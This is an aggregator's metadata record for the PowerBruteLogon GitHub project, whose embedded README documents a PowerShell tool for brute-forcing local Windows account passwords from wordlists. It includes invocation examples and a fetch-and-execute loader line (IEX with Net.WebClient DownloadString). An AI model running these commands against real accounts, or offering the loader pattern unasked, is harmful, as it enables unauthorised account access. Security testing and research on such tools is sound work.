{"id":13845086,"url":"https://github.com/PhrozenIO/PowerBruteLogon","last_synced_at":"2025-07-12T01:31:38.385Z","repository":{"id":41421645,"uuid":"433766034","full_name":"PhrozenIO/PowerBruteLogon","owner":"PhrozenIO","description":"PowerBruteLogon (Ported version of WinBruteLogon in pure PowerShell)","archived":false,"fork":false,"pushed_at":"2023-11-09T10:38:29.000Z","size":231,"stargazers_count":124,"open_issues_count":2,"forks_count":22,"subscribers_count":5,"default_branch":"main","last_synced_at":"2025-05-16T07:39:10.344Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PhrozenIO.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-12-01T09:40:22.000Z","updated_at":"2025-04-11T01:19:48.000Z","dependencies_parsed_at":"2024-06-05T20:23:57.723Z","dependency_job_id":"c21a3468-d860-47ea-a067-773ce413c065","html_url":"https://github.com/PhrozenIO/PowerBruteLogon","commit_stats":null,"previous_names":["phrozenio/powerbrutelogon","darkcodersc/powerbrutelogon"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/PhrozenIO/PowerBruteLogon","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerBruteLogon","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerBruteLogon/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerBruteLogon/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerBruteLogon/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PhrozenIO","download_url":"https://codeload.github.com/PhrozenIO/PowerBruteLogon/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerBruteLogon/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264923080,"owners_count":23683716,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:03:10.186Z","updated_at":"2025-07-12T01:31:37.945Z","avatar_url":"https://github.com/PhrozenIO.png","language":"PowerShell","funding_links":[],"categories":["PowerShell"],"sub_categories":[],"readme":"# PowerBruteLogon\n\nPowerBruteLogon is a ported version of [WinBruteLogon](https://github.com/DarkCoderSc/win-brute-logon) in pure PowerShell\n\n⚠️ Notice: this version is slower than [WinBruteLogon](https://github.com/DarkCoderSc/win-brute-logon) but has the serious advantage of being 100% entirely coded in PowerShell. In a near future, password attempts will be distributed to separate threads to speed up the process. Also keep in mind that this method is very noisy, each failed attempt will get logged on Microsoft Windows Event Logs.\n\nYou might find useful information about the technique used in this PoC [here](https://www.phrozen.io/paper/proof-of-concept/bruteforce-windows-logon-poc)\n\n---\n\n## Usage\n\nYou can use this PowerShell Application whether as a PowerShell Script or as a PowerShell Module.\n\n### Import a new PowerShell Module (Generic Explanation)\n\nTo be available, the module must first be present in a registered module path.\n\nYou can list module paths with following command:\n\n```powershell\nWrite-Output $env:PSModulePath\n```\n\nExample Output:\n\n```\nC:\\Users\\Phrozen\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\n```\n\nCopy the module file `\u003cmodule_name\u003e.psm1` to desired module path.\n\nYou can use bellow command to check if your module was successfully imported:\n\n```powershell\nGet-Module -ListAvailable\n```\n\nExample Output:\n\n```\nPS C:\\Users\\Phrozen\\Desktop\u003e Get-Module -ListAvailable\n\n\n    Directory: C:\\Users\\Phrozen\\Documents\\WindowsPowerShell\\Modules\n\n\nModuleType Version    Name                                ExportedCommands\n---------- -------    ----                                ----------------\nManifest   \u003cversion\u003e  \u003cmodule_name\u003e                       \u003cavailable_exported_commands\u003e\n\n\u003c..snip..\u003e\n```\n\nIf you don't see them, run the following commands and check back.\n\n```powershell\nImport-Module \u003cmodule_name\u003e\n\nImport-Module \u003cmodule_name\u003e\n```\n\n### Import a new PowerShell Script (Generic Explanation)\n\nIt is not mandatory to install this application as a PowerShell module (Even if file extension is `*.psm1`)\n\nYou can also load it as a PowerShell Script. Multiple methods exists including:\n\nInvoking Commands Using:\n\n```powershell\nIEX (Get-Content .\\\u003cmodule_name\u003e.psm1 -Raw)\n```\n\nLoading script from a remote location: \n\n```powershell\nIEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/\u003cmodule_name\u003e.psm1')\n```\n\n### Available Functions\n\n```PowerShell\nInvoke-BruteLogonAccount\nInvoke-BruteLogonList\nInvoke-BruteAvailableLogons\n```\n\n#### Invoke-BruteLogonAccount\n\nAttempt to recover the password of a single defined Windows User Account.\n\n##### Parameters\n\n| Parameter          | Type             | Default    | Description  |\n|--------------------|------------------|------------|--------------|\n| Username (*)       | String           | None       | Target Microsoft Windows local user account  |\n| WordList (*)       | String           | None       | Text file location containing password candidates |\n\n`*` = Mandatory Options\n\n##### Example\n\n```powershell\nInvoke-BruteLogonAccount -Username \"darkcodersc\" -Wordlist \"C:\\Temp\\Wordlist.txt\"`\n```\n\n![Invoke-BruteLogonAccount](images/invoke-brutelogonaccount.png)\n\n#### Invoke-BruteLogonList\n\nAttempt to recover the password of a list of Windows User Account.\n\n##### Parameters\n\n| Parameter          | Type             | Default    | Description  |\n|--------------------|------------------|------------|--------------|\n| UserList (*)       | String           | None       | Text file location containing user candidates  |\n| WordList (*)       | String           | None       | Text file location containing password candidates |\n\n`*` = Mandatory Options\n\n ##### Example\n\n```powershell\nInvoke-BruteLogonList -UserList \"C:\\Temp\\users.txt\" -WordList \"C:\\Temp\\Wordlist.txt\"\n```\n\n ![Invoke-BruteLogonAccount](images/invoke-brute-logon-list.png)\n\n#### Invoke-BruteLogonList\n\nAttempt to recover the password of all available local Windows User Accounts.\n\n##### Parameters\n\n| Parameter          | Type             | Default    | Description  |\n|--------------------|------------------|------------|--------------|\n| IgnoreUsers        | Array Of String  | None       | A list of usernames to ignore  |\n| WordList (*)       | String           | None       | Text file location containing password candidates |\n\n`*` = Mandatory Options\n\n##### Example\n\n```powershell\nInvoke-BruteAvailableLogons -WordList \"C:\\Temp\\Wordlist.txt\"\n\nInvoke-BruteAvailableLogons -WordList \"C:\\Temp\\Wordlist.txt\" -IgnoreUsers \"Phrozen\"\n```\n\n![Invoke-BruteLogonAccount](images/invoke-bruteavailablelogons.png)\n\n## Account Lockout Behaviour\n\nPowerBruteLogon supports account lockout detection. When account lockout is configured on Windows (⚠️ **recommended**).\n\nYou will see the following message printed on screen:\n\n![Invoke-BruteLogonAccount](images/account-lockout.png)\n\n## Remove progress bar\n\nYou might find the PowerShell progressbar ennoying, for this reason you might want to remove bellow code:\n\n```PowerShell\n# Display Progress / Stats\n$perc = [math]::Round((100 * $currPos) / $candidateCount)\n$activity = [string]::Format(\"Testing candidate \"\"{0}\"\" for username \"\"{1}\"\"\", $candidate, $targetUser)\n$status = [string]::Format(\"$perc% Complete:{0}/{1}\", $currPos, $candidateCount)\n\nWrite-Progress -Activity $activity -Status $status -PercentComplete $perc\n```\n---\n\nMade with ❤️ in 🇫🇷\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FPhrozenIO%2FPowerBruteLogon","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FPhrozenIO%2FPowerBruteLogon","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FPhrozenIO%2FPowerBruteLogon/lists"}